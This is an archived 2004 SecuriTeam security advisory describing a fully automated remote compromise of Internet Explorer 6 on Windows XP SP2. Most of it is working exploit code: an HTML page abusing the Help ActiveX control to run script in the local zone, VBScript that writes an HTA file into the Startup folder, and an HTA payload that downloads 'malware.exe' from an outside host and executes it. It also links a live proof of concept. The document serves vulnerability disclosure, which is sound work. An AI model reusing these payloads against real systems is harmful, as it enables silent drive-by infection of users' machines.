

[NT] Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0124.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/29/04

To: list@securiteam.com

Date: 29 Dec 2004 14:52:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise

SUMMARY

Although hundreds of millions of dollars have been spent on securing SP2, perfection is impossible. Through the joint effort of <http://www.michaelevanchik.com> Michael Evanchik and Paul from <http://greyhats.cjb.net> Greyhats Security, a very critical vulnerability has been developed that can compromise a user's system without the need for user interaction besides visiting the malicious page. The vulnerability is not actually a vulnerability in itself, but rather it is uses multiple known holes in SP2 including Help ActiveX Control Related Topics Zone Security Bypass Vulnerability and Help ActiveX Control Related Topics Cross Site Scripting Vulnerability.

DETAILS

Vulnerable Systems:

- * Microsoft Internet Explorer 6.0
- * Microsoft Windows XP Pro SP2
- * Microsoft Windows XP Home SP2

Technical details and Explanation

Securiteam: [NT] Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise

1. Create a web page with the following code:

sp2rc.htm:

```
< OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:Just a button">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1"
value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm">
```

```
< OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:Just a button">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1"
value='command;javascript:execScript("document.write(\"<script
language=\\\\"vbscript\\\\"
src=\\\\"http://freehost07.websamba.com/greyhats/writehta.txt\\\\"\" +
String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62)\")')>
</OBJECT>
```

```
< script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
```

Explanation of above code:

The first object (id: localpage) tells hhctrl.ocx to open a help popup window to the location C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm. This file was chosen because it is treated as the local zone and it doesn't have any script to mess us up. On some computers an error is shown before the popup. This is the user's only chance to prevent the vulnerability from working. If the user were to force his computer to shut down at this point, the user would be unaffected by the exploit.

The second object (id: inject) tells the help popup to navigate to a JavaScript protocol, which executes. Thus, cross site scripting has just taken place. A script tag that uses a remote file is written to the page, and writehta.txt (below) is executed in the unsecured local zone.

In the script, HHClick is able to be used to automate the vulnerability. This is more effective than the previously described method of requiring a user to click on a button.

2. Writehta.txt uses adodb recordset to write Microsoft Office.hta to the user's startup folder. See Michael Evanchik's analysis of the drag and drop vulnerability for an explanation on adodb recordset.

```
writehta.txt
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;" & _
"Extensions=asc, csv, tab, txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs = CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
rs.close
conn.close
window.close
```

3. f00bar.txt (thanks malware for hosting this file) is the file requested by the adodb recordset (again, read the drag and drop analysis at www.michaelevanchik.com for an explanation on how this works and why the f00bar.txt looks like it does). Because there is absolutely no limit on what you can do in an hta file, an old, yet effective method of requesting and saving a file to the user's hd is used. From that, a wscript shell is created and used to run the program. And now, ladies and gentlemen, we have compromised the user's machine.

f00bar.txt

```
-----
"meaning less shit i had to put here"
"< script language=vbscript> crap = """"
""": on error resume next: crap = """"
""": set o = CreateObject("""msxml2.XMLHTTP""") : crap=""
""": o.open
""GET"" , ""http://freehost07.websamba.com/greyhats/malware.exe"" , False :
crap=""
""": o.send : crap=""
""": set s = createobject("""adodb.stream""") : crap=""
""": s.type=1 : crap=""
""": s.open : crap=""
""": s.write o.responseBody : crap=""
""": s.savetofile ""C:\malware.exe"" , 2 : crap=""
""": Set ws = CreateObject("""WScript.Shell""") : crap=""
""": ws.Run ""C:\malware.exe"" , 3, FALSE : crap=""
""</script> crap=""
```

Securiteam: [NT] Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise

4. Upload hhtctrl.ocx for the computers that don't happen to have this control. All XP's seem to have this by default, some win2k3's do not (according to Michael Evanchik)

Proof of Concept:

See a proof of concept of the above code at:

<http://freehost07.websamba.com/greyhats/sp2rc.htm>

<http://freehost07.websamba.com/greyhats/sp2rc.htm>

* If an error is shown, press OK. This is normal.

* Notice in your startup menu a new file called Microsoft Office.hta.

When run, this file will download and launch a harmless executable (which includes a pretty neat fire animation)

User Recommendations:

* Disable HTA files

* Disable Active Scripting in Internet Explorer

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@greyhats.cjb.net> Paul.

The original article can be found at:

<http://www.greyhatsecurity.org/sp2rc-analysis.htm>

<http://www.greyhatsecurity.org/sp2rc-analysis.htm>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.